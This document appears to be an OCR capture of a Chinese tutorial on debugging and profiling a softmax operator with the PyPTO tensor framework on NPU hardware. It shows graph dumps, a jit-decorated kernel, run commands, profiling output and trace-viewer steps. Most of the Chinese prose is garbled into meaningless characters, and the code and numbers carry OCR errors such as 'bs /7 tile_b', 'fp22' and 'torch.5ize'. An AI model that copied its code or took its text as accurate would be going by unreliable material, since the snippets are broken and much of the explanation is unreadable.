p32 fp32

2, ZIXWEHIER X EEHEEI NEFT7RAY Execute Graph,

10007

(CALL: TENSOR Joop.0_ Unrolil_PATHO_hiddenfunc Jeaf0_ 12
Subgraph D

ElpARRERIBIR ( CALLTENSOR xx ) BEINEFE—MERT R, TZitBEERKLIS A RRY
Block Graph F&,

3. WH EERERTS, JLEE Block Graph FEIEE, {FREESHEMRNITIIRE.
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MK ETLAEZIEAEAFRY Tensor 1 Operation TR{EEFIERZKR:

498 Tensor (258)

Subgraph ID: 0
373 Tensor (226)
[141.64)
Subgraph ID: 0 e
141,64 10.0.00)
14164 MEM_UB
10.0,0.0) 7 MEM_UB
MEM _UB fp22
MEM UB

p32
502 Tensor (256)

Subgraph ID: 0
381 Tensor (224)
Subgraph D: 0 [14.1.64)
[14.1,64)

[14.1,64) 10.0.00
[14.164) s MEM UB
100.00] 3 MEM_UB
MEM UB fp32
MEM U8

p32
500 Tensor {257)

Subgraph ID: 0

377 Tensor (225)

/ [14.1.64]

i 114164
114.1.64) 10.0,0,0
[14.164) MEM_UB
0000} = MEM_UB
MEM UB fp32
MEM U8

fp32

369 Tensor (227) 496 Tensor (259)
Subgraph D: 0 Subgraph ID: 0

[14.1.64) [1.4.1,64]
nA164 : [14.1.64]
0000 0000
MEM U8 MEM UB
MEM U8 MEM U8
fp32 fp32

T4 BEKEE
KEERTFEMENTEENIRAESHTERE, BEIESIINTINEIHERER, 5
B thrBEF M. TESN BIREKEEEYE, FEE PyPTO Toolkit EEKIEE,
1. @idLE@pypto.frontend.jit ZEiHZEAINS debug_options BLBEEHUTMESRX X BaitE
BEBURBREETNRE.
@pypto.frontend jit(
debug_options={"runtime_debug_mode": 1}
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@pypto.frontend.jitllruntime_options={"run_mode": global_run_mode},debug_options={"runtime_debug_mode": 1}

def softmax_kernel(
input_tensor: pypto.Tensor([pypto.DYNAMIC, ...], pypto.DT_FP32),
output_tensor: pypto.Tensor([pypto.DYNAMIC, ...], pypto.DT_FP32}):
bs, seglen, head, dim = input_tensor.shape
tile_b = 1 # Process one batch at a time
b_Tloop = bs /7 tile_b

2. EfITEFER,

export TILE_FWK_DEVICE_ID=0
#HUTRIA
python3 softmax.py

/pypto/examples/02_1intermediate/operators/softmax# python3 softmax.py

PyPTO Softmax Example

Running examples that require NPU hardware...
(Make sure CANN environment is configured and NPU is available)

Running Example softmax::test_softmax: Softmax

| --Fake Task Count:64
Parse Swim json and Topo json Data End

-------- AICORE Prof Summary --------

AICore End-to-End Time: 46.34

AICore Utilization: 70.14%

Generate Bubble Analysis Report: ocutput/output_ 8002/bubble_analysis.leg

Convert To perfetto trace End

Open the trace at https

Output: output/output _ 3002/merged_swimlane. json

|

Time taken: O secs

Input shape: torch.5ize([32

Output shape: torch.5ize([3

Max difference: 0.o00000

/mnt/wenzhigiang/pypto/examples/82_intermediate/operators/softmax/softmax.py:128: DeprecationWarnting: _ array__ implementation)

nt 'dtype' and ‘copy' keyword arguments. To learn more, see the migration guide https://numpy.org/devdocs/numpy_2_0_migration
assert_allclose(np.array(y), np.array(golden), rtol=3e-3, atol=3e-3)

¢ Softmax test passed

fE${work_path}/output/output_*/BF (*XRATEEL ) FERKBERIES S, XHE7:
merged_swimlane.json .

i s e v R G e R
3. 1®Z PyPTO Toolkit IHHEEKEE .
A#EEE merged_swimlane.json, TEIEHAYSEEARERE &R PyPTO Toolkit ¥ TF, S0 FE]
AR

~ output | 144066 _AC110002

» built_in

» kernel_aicore

32, 1, 2561)
32, 1, 256])

;
2,

» kemnel_aicpu
£ bubble_ana log
= dyn_topo.bxt

i} merged_swimlane i=nn

{} program,js PyPTO Toolkit: Open file

E: RN, BTRECRANE, kRt XERIMEERT.
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a @ o}

120ps

120ps
000 120 000

40ps 100ps
40ps 100us
000 040 000 000 100 000

20ps

20ps

000 000 000 000 020 000

0-27-6—-1-10
0-29-5-1-10

0-27-7--1--10

0-22-1--1-10

0-8-1-1-10 0-16-4—-1-10
0-23-7--1-10

0-0-1-1-10
0-0-2-1-10 0-82-1-10 0-17-5-1-10
0-03-1-10 0-83-1-10 0-16-5-1-10 0222110
0-0-4-1-10 0-16-6-1-10 0-192-1-10  0253-1-10
0-05-1-10 0-16-7-1-10
0-0-6-1-10 0-12-1-1-10
0-0-7-1-10 0-122-1-10

0-8-4-1-10
0-8-5-1-10
0-8-6—-1-10

0-18-2--1-10 0-24-5-1-10
0-24-6—-1--10
0-24-7-1-10

0-18-3—-1--10
0-19-3--1--10

0-8-7-1-10
0-18-4-1-10  0-242-1-10

0-8-8-1-10 0-12-3—-1-10

FESHEEHIHSEIAIKE, BR 7810 AIJAV ERESHTIER . KBS BEM<ERT
R{ESSRIFERT, BETSENIRIRITBERIEEEER . BF AILIBE MERTERIKE 2B RIZSRIERE
JtERERRIRIE

(WEHHNEEXE, FFRSE ) DUISFERNRKANKESRE, RoOolaefFEritash
X o

PyPTO H—%3)0]8%: https://gitcode.com/cann/pypto
424 B

PyPTO RYRIEBLRTA?
%: PTO ( Parallel Tensor/Tile Operation ) fRiEBt, ZMRIHESAET Tile R9RIEER

4.3 SCIG /N
ARELIEI 4R PYyPTO JmitESS #LL:&BT\H 1BhicE, {# PyPTO REEF, #HI1T%mIFN
T8I, xtﬁ;ﬂ?&% PyPTO E’Jﬂﬁi% WEFHE
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